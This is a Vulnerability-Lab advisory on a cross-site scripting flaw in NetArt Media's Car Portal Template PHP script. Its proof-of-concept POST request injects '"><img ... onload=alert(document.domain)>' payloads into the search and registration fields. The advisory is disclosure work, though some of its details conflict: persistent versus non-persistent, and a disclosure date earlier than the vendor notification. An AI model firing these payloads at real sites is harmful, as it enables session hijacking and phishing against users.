Document Title: =============== Car Portal Template - (Search) Persistent Web Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2299 Release Date: ============= 2022-02-08 Vulnerability Laboratory ID (VL-ID): ==================================== 2299 Common Vulnerability Scoring System: ==================================== 5.6 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Advanced web solution for creating multi-user car classifieds and auto portal websites. The software has many different features for both the administrators to manage the sites and for the users like functionality for the car dealers to create and manage their own micro site, email alerts in order to notify the users when new cars meeting their search criteria are listed, save the car listings, recommend them to friends, share the listings on the social networks, multi-language support and many others. (Copy of the Homepage: https://www.netartmedia.net/pricing#car-portal ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a non persistent post inject vulnerability in the Car Portal Template PHP Script. Affected Product(s): ==================== NetArt Media Product: Car Portal Template PHP Script (v2021) - CMS (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-09-01: Researcher Notification & Coordination (Security Researcher) 2021-09-02: Vendor Notification (Security Department) 2021-**-**: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2021-02-08: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A non-persistent post inject web vulnerability has been discovered in the official Car Portal Template PHP Script. The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user session data or to manipulate application contents for clients. The cross site scripting web vulnerability is located in the `username`, `user_first_name`, `user_last_name`, `variant`, `power`, and `milage` parameters of the `index search` module. Remote attackers without privileged access are able to inject own malicious script code in the search input field of the index module post method request. The execution takes place in the results page of the search after submit via post. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Request method(s): [+] POST Vulnerable File(s): [+] index.php Vulnerable Input(s): [+] Trim [+] Power [+] Milage [+] First name [+] Last name [+] Username Vulnerable Parameter(s): [+] username [+] user_first_name [+] user_last_name [+] variant [+] power [+] milage Proof of Concept (PoC): ======================= The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction. For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue. --- PoC Session Logs (POST) --- https://car-portal-template.localhost:8080/cars2/index.php Host: car-portal-template.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 878 Origin: https://car-portal-template.localhost:8080 Connection: keep-alive Referer: https://car-portal-template.localhost:8080/cars2/index.php Cookie: language=en; PHPSESSID=23d238178bfb19f9bd93f25f1b465822 ad_type=&selected_package=0&property_type=1,1&property_zip=&price=,&mod=sell&lang=en&Step=2¤t_type=1 &type=1&username="><img src="evil.source" onload=alert(document.domain)>&password="><img src="evil.source" onload=alert(document.domain)> &user_first_name="><img src="evil.source" onload=alert(document.domain)>&user_last_name="><img src="evil.source" onload=alert(document.domain)> &user_email=test@aol.de&user_phone=&car_make=Aixam&car_model=505&variant="><img src="evil.source" onload=alert(document.domain)> &year=2004&location1=18&location2=-1&level_location=&post_location=18 &power="><img src="evil.source" onload=alert(document.domain)>&mileage="><img src="evil.source" onload=alert(document.domain)> &transmission=M_MANUAL&fuel_type=M_PETROL&exterior_color=M_WHITE&description= - POST: HTTP/2.0 200 OK server: Apache set-cookie: language=en; expires=Tue; Max-Age=31536000 vary: Accept-Encoding content-encoding: gzip content-length: 6974 content-type: text/html; charset=UTF-8 Note: Searched queries can also be saved to be replied by the client-side within the session to followup exploitation. Reference(s): https://car-portal-template.localhost:8080/ https://car-portal-template.localhost:8080/cars2/ https://car-portal-template.localhost:8080/cars2/index.php Credits & Authors: ================== Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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